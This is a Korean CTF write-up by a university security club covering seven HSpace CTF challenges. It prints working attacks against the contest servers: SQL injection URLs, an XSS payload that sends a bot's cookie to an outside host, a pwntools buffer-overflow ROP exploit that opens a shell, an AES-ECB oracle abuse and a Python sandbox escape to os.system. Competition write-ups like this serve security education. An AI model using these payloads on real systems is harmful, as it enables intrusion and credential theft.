



Kknock

Kyonggi University Hacking & Security clubs

Hspace CTF
K.knock Write-UP

1. Hspace Free Board

<http://cat.moe:8004/read.php?id=-1> union select 1,2,3,4

id를 -1로 호출하고 union select 구문으로 컬럼 개수를 확인해보았다.

HSpace Free Board

2

Author: 4

3

[Go back](#)

다음과 같은 화면을 얻을 수 있었고, 이제 Information_schema를 이용해서 table_name과 column_name을 구하였다.

http://cat.moe:8004/read.php?id=-1%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20limit%201

http://cat.moe:8004/read.php?id=-1%20union%20select%201,column_name,3,4%20from%20information_schema.columns%20limit%201

컬럼명은 fl4g, 테이블명은 fl4g1sher임을 알 수 있었다.

<http://cat.moe:8004/read.php?id=-1%20union%20select%201,fl4g,3,4%20from%20fl4g1sher3>

hspace{56627ff9649398cf66cb4997ccc026e5b27e59689f13792aea8280f969d3c8f8}

2. Markdown Generator

코드를 입력받으면 MD 형식으로 변환해주는 기능이 있는 게시판과, report기능, flag를 쿠키로 가지고 있는 bot이 존재한다.

게시글에서 xss를 발생시켜 bot의 cookie를 탈취하는 시나리오로 진행하였다.

모듈을 github에서 좀 보다가 그냥 막대입을 하면서 규칙을 찾기 시작했다.

이렇게 하니 됐다.

payload HTML = `<script><script>location.href='https://kknock.org/'+document.cookie;<</script>/</script>script>`

<http://cat.moe:8005/report/7c2b0a28-2a95-43c1-b352-cc4b871d9513>

```
192.168.0.1 - - [31/Aug/2023:11:45:53 +0000] "GET /FLAG=hspace%7Bf223deaf48ab0383a99207c99cfc83c00fc0ed2673f9a%7D HTTP/1.0" 404
452 "http://localhost:8005/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/116.0.5845.
110 Safari/537.36"
```

`hspace{f223deaf48ab0383a99207c99cfc83c00fc0ed2673f9a}`

3. HSpace File Manager

라운드가 무제한이다. Canary Leak, Return Address leak으로 libc base를 구하고 system("/bin/sh")를 하면 성공이다.

```
6 char s[10]; // [rsp+16h] [rbp-3FAh] BYREF
7 char v8[1000]; // [rsp+20h] [rbp-3F0h] BYREF
8 unsigned __int64 v9; // [rsp+408h] [rbp-8h]
9
10 v9 = __readfsqword(0x28u);
11 sub_401317();
12 while ( 1 )
13 {
14     puts("File List: flag, hint, hspace");
15     memset(s, 0, 0x64uLL);
16     printf("Input file name: ");
17     read(0, s, 0x1000uLL);
18     printf("File name: %s\n", s);
19     for ( i = 0; i <= 9; ++i )
20     {
21         if ( s[i] == '\n' )
22             s[i] = 0;
23     }
24     if ( strchr(s, '/') )
25     {
26         puts("No Hack ~.~");
27         exit(-1);
28     }
29     stream = fopen(s, "r");
30     if ( stream )
31     {
32         fgets(v8, 1000, stream);
33         printf("Content: %s\n", v8);
34         fclose(stream);
35     }
36     else
37     {
38         puts("File not found.");
39     }
40     printf("Continue? (y/n): ");
41     __isoc99_scanf(" %c", &v4);
42     if ( v4 == 110 )
43         break;
44     while ( getchar() != 10 )
45         ;
46 }
47 return 0LL;
48 }
```

```
1 from pwn import *
2
3 #r = process('./filemanager')
4 r = remote('cat.moe', 8002)
5
6
7 payload = b''
8 payload += b'A'*10
9 payload += b'B'*1000
10 payload += b'C'
11
12 r.sendafter(b'Input file name: ', payload)
13 r.recvuntil(b'BBBB')
14
15 canary = u64(b'\x00' + r.recv(7))
16 log.success(f'canary : {hex(canary)}')
17
18 payload = b''
19 payload += b'A'*10
20 payload += b'B'*1000
21 payload += b'C'*8
22 payload += b'D'*8
23
24 r.sendafter(b'Continue? (y/n): ', b'y')
25 r.sendline()
26
27 #gdb.attach(r)
28
29 r.sendafter(b'Input file name: ', payload)
30
31 r.recvuntil(b'D'*8)
32 libc_ret_main = u64(r.recv(6) + b'\x00\x00')
33 log.success(f'libc_ret_main : {hex(libc_ret_main)}')
34
35 libc_base = libc_ret_main - 0x29d90
36 system_addr = libc_base + 0x50d60
37 binsh_addr = libc_base + 0x1d8698
38 pr = libc_base + 0x2a3e5
39 ret = libc_base + 0x29cd6
40
41 payload = b''
42 payload += b'A'*10
43 payload += b'B'*1000
44 payload += p64(canary)
45 payload += b'D'*8
46 payload += p64(ret)
47 payload += p64(pr)
48 payload += p64(binsh_addr)
49 payload += p64(system_addr)
50
51 r.sendafter(b'Continue? (y/n): ', b'y')
52 r.sendline()
53
54 r.sendafter(b'Input file name: ', payload)
55
56 r.sendafter(b'Continue? (y/n): ', b'n')
57 r.sendline()
58
59 r.interactive()
```

hspace{279c3980c308dc78002d8647f6495c9fbdd377df99cb392c3b40
c0f597fa7c93}

4. easy_rev

로직을 분석해보면

```
1 key = "Hacker_space"
2 a = [18, 22, 16, 34, 14, 19, 36, 32, 5, 8, 26, 3, 9, 23, 2, 41, 30, 11, 15, 1, 28, 20, 0, 31, 38, 27, 29, 35, 10, 25, 39, 33, 6, 4, 37, 21, 40, 12, 13, 24, 17, 42, 7]
3 b = [90, 8, 94, 50, 123, 73, 62, 38, 5, 11, 8, 60, 22, 119, 55, 19, 8, 101, 66, 5, 24, 117, 38, 52, 44, 53, 12, 36, 15, 8, 38, 13, 62, 23, 0, 55, 22, 13, 37, 56, 31, 40, 12]
4
5 test = "A"*43
6
7 result = []
8
9 for i in range(len(test)):
10     result.append(ord(test[i]) ^ ord(key[i%len(key)]))
11
12 result2 = []
13 for i in range(len(result)):
14     result2.append(result[i] ^ result[(i+4) % len(result) ])
15
16 print(result2)
17 result3 = [0 for _ in range(43)]
18 for i in range(len(result2)):
19     result3[i] = result2[a[i]]
20
21 print(result3)
```

이게 정연산 코드이다. xor이므로 역연산을 잘 해보면

```
1 from z3 import *
2
3 key = "Hacker_space"
4 a1 = [18, 22, 16, 34, 14, 19, 36, 32, 5, 8, 26, 3, 9, 23, 2, 41, 30, 11, 15, 1, 28, 20, 0, 31, 38, 27, 29, 35, 10, 25, 39, 33, 6, 4, 37, 21, 40, 12, 13, 24, 17, 42, 7]
5 b = [90, 8, 94, 50, 123, 73, 62, 38, 5, 11, 8, 60, 22, 119, 55, 19, 8, 101, 66, 5, 24, 117, 38, 52, 44, 53, 12, 36, 15, 8, 38, 13, 62, 23, 0, 55, 22, 13, 37, 56, 31, 40, 12]
6
7 s = z3.Solver()
8 a = [BitVec("a%i"%i, 8) for i in range(43)]
9 result = []
10
11 for i in range(len(a)):
12     result.append(a[i] ^ ord(key[i%len(key)]))
13
14 result2 = []
15 for i in range(len(result)):
16     result2.append(result[i] ^ result[(i+4) % len(result) ])
17
18 result3 = []
19 for i in range(len(result2)):
20     result3.append(result2[a1[i]])
21
22 for i in range(len(result2)):
23     s.add(result3[i] == b[i])
24
25 print(s.check())
26 m = s.model()
27 for i in range(43):
28     print(chr(m[a[i]].as_long()), end='')
29
30 print()
```

}fetvpnPtflJGpc!gF\${JB\$a}J]tf~pyyJRgtxttgh 라는 이상한 문자열이 나오는데
21과 xor하니까 플래그가 나온다..... 왜,,,,,

hspace{Easy_Rev4rS1n9_W1th_Haskell_Grammar}

5. Insecure mode 1

```
ISC = InSecureCipher(os.urandom(16))
secret = os.urandom(64)
enc_secret = ISC.encrypt(secret)
```

16바이트 키에 64바이트 랜덤한 값이 주어진다

```
self.key = key
self.cipher = AES.new(key, 1)

def encrypt(self, pt):
```

위 사진을 통해 aes암호에 ecb 모드인 것을 알 수 있다.

Ecb 모드는 블록마다 독립적으로 암호화 연산을 하므로 블록의 크기인 16바이트 단위로 복호화를 하면 된다.

```
(dragoon@kali)-[~/Documents/hspace2023/insecure_mode2]
$ nc cat.moe 8006
Encrypted secret : 272c9214072407f7436e0fa4bc53ca581cf846995c991adfa817fa2b25ef358a7902ab567c2251b337061c071326e601
b2e031a754db68b103b8686e1100876f74e3809d2618aadb39a7cbc313ec3220
You have only 4 tokens to use my oracle.
inp > █
```

64바이트를 암호화 하면 패딩 때문에 80바이트의 값이 나온다.

이때 마지막 16바이트는 16바이트 단위로 암호화 할 때 같은 값이 나오고 16바이트 단위로 복호화 할 때 마지막에 붙여줘야 한다. (안그러면 에러가 났다.)

입력할 수 있는 기회가 4번 밖에 없어서 32바이트씩 나누고 마지막 16비트를 각각에 붙여서 복호화를 했다.

```

(dragoon@kali)-[~/Documents/hspace2023/insecure_mode1]
$ python3 sol.py
[+] Opening connection to cat.moe on port 8006: Done
/home/dragoon/Documents/hspace2023/insecure_mode1/sol.py:15: BytesWarning:
arantees. See https://docs.pwntools.com/#bytes
  io.sendline(a.hex())
/home/dragoon/Documents/hspace2023/insecure_mode1/sol.py:21: BytesWarning:
arantees. See https://docs.pwntools.com/#bytes
  io.sendline(b.hex())
[*] Switching to interactive mode
Congratulation!
hspace{ECB_M0D3_is_insecure_m0d3!! Let's_try_"Insecure Mode 2"}
[*] Got EOF while reading in interactive
$

```

```

from pwn import *

io = remote('cat.moe', 8006)

io.recvuntil(b'secret : ')
enc_t = io.recv(160).decode('ascii')
enc = bytes.fromhex(enc_t)

a = enc[0:32] + enc[64:80]
b = enc[32:64] + enc[64:80]

io.recvuntil(b'inp > ')
io.sendline(b'dec')
io.recvuntil(b'ct(hex) > ')
io.sendline(a.hex())
a_dec = io.recv(64)

io.recvuntil(b'inp > ')
io.sendline(b'dec')
io.recvuntil(b'ct(hex) > ')
io.sendline(b.hex())
b_dec = io.recv(64)

io.recvuntil(b'inp > ')
io.sendline(b'secret')
io.recvuntil([b'secret(hex) > '])
io.sendline(a_dec + b_dec)

io.interactive()

```

그 결과를 합쳐서 secret을 맞추는 곳에 넣었다.

6. Reversi

Reversi

```
This is SEMI 'Reversi' game with AI. If you win 10 times, you can get the flag :)
WHITE : 1 (AI)
BLACK : 2 (YOU)

**round : (1 / 10)**

if you are ready, please press [Enter]
[BASE TABLE]
=====
0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0
0 0 0 1 2 0 0 0
0 0 0 2 1 0 0 0
0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0
=====
[AI Turn]
=====
0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0
0 0 0 1 0 0 0 0
0 0 0 1 2 0 0 0
0 0 0 2 1 0 0 0
0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0
=====
[YOUR Turn]
give me the (x,y) >
```

알고리즘 :

1. “[AI Turn]” 이후에 나오는 보드를 2차원 배열 형식으로 저장 한다.
2. 2차원 배열에서 나의 돌(2)의 위치를 구한다.
3. 나의 돌에 바로 붙어있는 상대의 돌(1)을 찾은 후 해당 돌의 다음 칸을 탐색한다
 - 3-1. 돌을 놓을 수 없는 경우 (벽이거나 나의 돌이 있을 경우) 탐색을 멈춘다
 - 3-2. 상대의 돌이 있다면 score를 증가시킨 후 다음 칸을 탐색한다 (3-1로 돌아간다)
 - 3-3. 돌이 존재하지 않으면(0) 탐색을 정지한다
4. 모든 경우의 수 중에서 score가 가장 큰 위치의 좌표를 입력한다
5. 게임이 끝날 때까지 1~4를 반복한다

승률이 100%는 아니지만 승률이 높기 때문에 몇 번 반복하다 보면 플래그를 획득할 수 있다.

```
Congratulation\n\nspace{We_c4n_w1n_AI}\n'
```

코드 전문 :

```
1 import socket
2
3 def get():
4     recvdata=sock.recv(10000)
5     print(recvdata)
6     if b'[AI' not in recvdata:
7         senddata = b'\n'
8         sock.send(senddata)
9         recvdata=sock.recv(10000)
10        print(recvdata)
11    board = recvdata.split(b'[AI Turn]')[1]
12    line = board.split(b'\n')[2:10]
13    coor = [[0 for j in range(8)] for i in range(8)]
14
15    for i in range(8):
16        line[i] = line[i].decode('utf-8')
17        for j in range(8):
18            coor[i][j] = line[i].split(' ')[j]
19            coor[i][j] = int(coor[i][j])
20    for i in range(8):
21        print(coor[i])
22    return coor
23
24 def send(a,b):
25     ab=bytes(f'{a},{b}\n', 'utf-8')
26     sock.send(ab)
27
28 def find(coor):
29     twolist = []
30     for i in range(8):
31         for j in range(8):
32             if coor[i][j] == 2:
33                 twolist.append(str(i)+','+str(j))
34    print(twolist)
35    score=0
36    for i in twolist:
37        x,y = i.split(',')
38        x=int(x)
39        y=int(y)
40        if x+1 < 8:
41            d=1
```

```
42  ✓ while(True):
43  ✓     if x+d>7 or coor[x+d][y]==2:
44  ✓         break
45  ✓     elif coor[x+d][y] == 1:
46  ✓         d+=1
47  ✓         continue
48  ✓     elif coor[x+d][y] == 0:
49  ✓         if d > score:
50  ✓             score=d
51  ✓             X=x+d
52  ✓             Y=y
53  ✓         break
54  ✓ if x-1 >= 0:
55  ✓     d=1
56  ✓     while(True):
57  ✓         if x-d<0 or coor[x-d][y]==2: break
58  ✓
59  ✓         if coor[x-d][y] == 1:
60  ✓             d+=1
61  ✓             continue
62  ✓         if coor[x-d][y] == 0:
63  ✓             if d > score:
64  ✓                 score=d
65  ✓                 X=x-d
66  ✓                 Y=y
67  ✓             break
68  ✓ if y+1 < 8:
69  ✓     d=1
70  ✓     while(True):
71  ✓         if y+d>7 or coor[x][y+d]==2: break
72  ✓         if coor[x][y+d] == 1:
73  ✓             d+=1
74  ✓             continue
75  ✓         if coor[x][y+d] == 0:
76  ✓             if d > score:
77  ✓                 score=d
78  ✓                 X=x
79  ✓                 Y=y+d
80  ✓             break
81  ✓ if v-1 >= 0:
```

```

82         d=1
83         while(True):
84             if y-d<0 or coor[x][y-d]==2: break
85             if coor[x][y-d] == 1:
86                 d+=1
87                 continue
88             if coor[x][y-d] == 0:
89                 if d > score:
90                     score=d
91                     X=x
92                     Y=y-d
93             break
94     return X, Y
95
96 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
97 server_address = ('cat.moe', 8009)
98 sock.connect(server_address)
99
100 recvdata=sock.recv(10000)
101 print(recvdata)
102
103 senddata = b'\n'
104 sock.send(senddata)
105
106 while(True):
107     coor = get()
108     a, b = find(coor)
109     send(a,b)

```

7. Mic Check

간단한 python jail break 문제이다. 먼저 아래 구문을 통해서 subclasses list를 가져올 수 있다.

`().__class__.__bases__[0].__subclasses__()`

```
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable.entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'next_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'contextvars.ContextVar'>, <class 'contextvars.ContextVar'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'frozen_importlib.ModuleLock'>, <class 'frozen_importlib.DummyModuleLock'>, <class 'frozen_importlib.ModuleLockManager'>, <class 'frozen_importlib.ModuleSpec'>, <class 'frozen_importlib.BuiltinImporter'>, <class 'frozen_importlib.FrozenImporter'>, <class 'frozen_importlib.ImportLockContext'>, <class 'thread.lock'>, <class 'thread.RLock'>, <class 'thread.local.dummy'>, <class 'thread.local'>, <class 'io.IOBase'>, <class 'io.BytesIOBuffer'>, <class 'io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'frozen_importlib_external.WindowsRegistryFinder'>, <class 'frozen_importlib_external.LoaderBasics'>, <class 'frozen_importlib_external.FileLoader'>, <class 'frozen_importlib_external.NamespacePath'>, <class 'frozen_importlib_external.NamespaceLoader'>, <class 'frozen_importlib_external.PathFinder'>, <class 'frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecorder'>, <class 'abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os.wrap_close'>, <class 'sitebuiltins.Quitter'>, <class 'sitebuiltins.Printer'>, <class 'sitebuiltins.Helper'>, <class 'distutils.hack.TrivialRe'>, <class 'distutils.hack.DistutilsMetaFinder'>, <class 'distutils.hack.shim'>, <class 'types.DynamicClassAttribute'>, <class 'types.GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib._abc.Loader'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools.grouper'>, <class 'itertools.tee'>, <class 'itertools.tee_dataobject'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class 'collections.deque_iterator'>, <class 'collections.deque_reversed_iterator'>, <class 'collections.tuplegetter'>, <class 'collections.Link'>, <class 'functools.partial'>, <class 'functools.lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools.lru_listelem'>, <class 'functools.partial'>, <class 'functools.partialmethod'>, <class 'functools singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitSt
```

문자열 길이에 제한이 있어, <class 'frozen_importlib.BuiltinImporter'> 과 load_module을 이용해 os.system('sh')을 불러들여 쉘 권한을 먼저 얻고, 그 후에 cat flag 등의 작업을 넉넉하게 수행하려는 방향으로 진행하였다. 먼저 `().__class__.__bases__[0].__subclasses__()` 리스트를 확인해 BuiltinImporter가 107번째 항목이라는 것을 알아내었다.

```
print(().__class__.__bases__[0].__subclasses__()[107].__doc__)
"""
결과) Meta path import for built-in modules.

All methods are either class or static methods to avoid the need to
instantiate the class.
"""
```

따옴표를 사용할 수 없으므로, 문자열을 직접 `__doc__` 의 결과에서 가져왔다. `os`와 `sh` 문자열을 python의 list slicing 기능을 활용해서 구한 결과 다음과 같다. `os = [].__doc__[32:49:12]` `sh = [].__doc__[44:55:10]` 최종적으로 위 문자열을 통해 `os.system('sh')`을 구현하면 다음과 같으며, 성공적으로 셸 권한을 얻고 플래그를 찾아낼 수 있다. `().__class__.__bases__[0].__subclasses__()[107].load_module([].__doc__[32:49:12]).system([].__doc__[44:55:10])`

```
(jail) (hanbyul🐉hgwarts)~[~/Desktop/mic-check-for_user] (18:43)
➜ nc cat.moe 8000
HSpace Mic-check :)
code: ().__class__.__bases__[0].__subclasses__()[107].load_module([].__doc__[32:49:12]).system([].__doc__[44:55:10])
end
ls
Dockerfile
docker-compose.yml
flag.txt
jail.py
cat flag.txt
hspace{mic_cHeck_D0ne!_1ET's_g0_hACK1Ng}
```

- 라업끝! 땡큐우